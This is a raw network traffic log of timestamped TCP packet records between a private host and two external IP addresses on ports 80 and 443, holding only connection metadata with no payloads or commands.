Oct 30, 2024 15:59:08.989085913 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.989090919 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.997379065 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.997437000 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.997447014 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.997464895 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.997486115 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.997560978 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.997567892 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.997581005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.997623920 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.997770071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.997827053 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.997828960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.997833014 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.997868061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.997876883 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.997906923 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.998405933 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.998418093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.998429060 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.998440981 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.998454094 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.998466969 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.998493910 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.998862028 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.998867035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.998922110 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.999181986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.999228954 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.999486923 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.999917030 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.999927998 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.000276089 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.000282049 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.001760960 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.002423048 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.002453089 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.002829075 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.002836943 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.072978020 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.073081017 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.073112965 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.073168993 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.073174953 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.073232889 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.073240995 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.073282003 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.073302031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.073319912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.073345900 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.073348045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.073363066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.073369026 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.073389053 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.073404074 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.073404074 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.073430061 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.073935986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.073988914 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.074023962 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.074062109 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.074120998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.074145079 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.074155092 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.074172974 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.074207067 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.102472067 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.102598906 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.102670908 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.102826118 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.102834940 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.102845907 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.102850914 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.106077909 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.106112003 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.106215000 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.106739998 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.106753111 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.114481926 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.114506006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.114515066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.114542961 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.114571095 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.114649057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.114659071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.114676952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.114686966 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.114691019 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.114716053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.114737034 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.114948034 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.114957094 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.114989042 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.115004063 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.115051031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.115107059 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.115111113 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.115117073 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.115137100 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.115149975 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.115168095 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.115190983 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.115236044 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.115247011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.115283012 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.115334988 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.115901947 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.115957022 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.115959883 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.115972042 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.115989923 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.116004944 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.116036892 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.116036892 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.118232012 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.118551970 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.118659019 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.118690014 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.118709087 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.118717909 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.118722916 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.121758938 CET	49728	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.121768951 CET	443	49728	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.121925116 CET	49728	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.122112989 CET	49728	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.122124910 CET	443	49728	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.129446030 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.129981995 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.130040884 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.130103111 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.130103111 CET	49725	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.130110979 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.130117893 CET	443	49725	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.133122921 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.133162022 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.133312941 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.133366108 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.133373022 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.137746096 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.137859106 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.137916088 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.137995958 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.138021946 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.138035059 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.138041019 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.140970945 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.140981913 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.141072035 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.141264915 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.141275883 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.190298080 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.190325022 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.190335989 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.190407038 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.190407038 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.190514088 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.190525055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.190545082 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.190557003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.190570116 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.190603018 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.190603018 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.190901041 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.190912008 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.190929890 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.190959930 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.190989017 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.191298008 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.191308022 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.191334963 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.191354036 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.191385031 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.248581886 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.248605967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.248619080 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.248724937 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.248744011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.248758078 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.248760939 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.248778105 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.248789072 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.248791933 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.248811960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.248826981 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.248831034 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.248850107 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.248874903 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.248924971 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.248938084 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.248979092 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.249063969 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.249073982 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.249083996 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.249100924 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.249109030 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.249138117 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.249802113 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.249823093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.249838114 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.249861002 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.249891043 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.249943018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.249957085 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.249996901 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.307444096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.307461977 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.307487965 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.307497025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.307519913 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.307574034 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.307610989 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.307621956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.307643890 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.307643890 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.307674885 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.307683945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.307694912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.307698011 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.307713985 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.307737112 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.307758093 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.309573889 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.309585094 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.309603930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.309638977 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.309663057 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.365323067 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.365350962 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.365360022 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.365407944 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.365447044 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.365458012 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.365462065 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.365478039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.365489006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.365492105 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.365516901 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.365540981 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.365559101 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.365606070 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.366178989 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.366245985 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.366275072 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.366286039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.366326094 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.366365910 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.366425037 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.366439104 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.366440058 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.366476059 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.366507053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.366518021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.366529942 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.366585016 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.367073059 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.367090940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.367115021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.367141962 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.367175102 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.367187023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.367197037 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.367213964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.367238045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.367268085 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.367269039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.367328882 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.367913961 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.368000031 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.382265091 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.383203030 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.383229971 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.383903027 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.383908033 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.424354076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.424365997 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.424451113 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.424580097 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.424632072 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.424639940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.424653053 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.424683094 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.424700975 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.424740076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.424781084 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.424791098 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.424793005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.424820900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.424834013 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.424964905 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.424976110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.424994946 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.425026894 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.425044060 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.425224066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.425232887 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.425280094 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.425317049 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.425327063 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.425383091 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.482415915 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.482440948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.482450962 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.482506990 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.482516050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.482526064 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.482534885 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.482603073 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.482692003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.482727051 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.482738018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.482741117 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.482798100 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.482835054 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.482845068 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.482893944 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.483211040 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.483268976 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.483270884 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.483279943 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.483309984 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.483356953 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.483371973 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.483382940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.483431101 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.483800888 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.483844042 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.483856916 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.483863115 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.483901978 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.483923912 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.483930111 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.483942032 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.483962059 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.483984947 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.484014034 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.484410048 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.484453917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.484464884 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.484492064 CET	49710	80	192.168.2.6	185.215.113.206
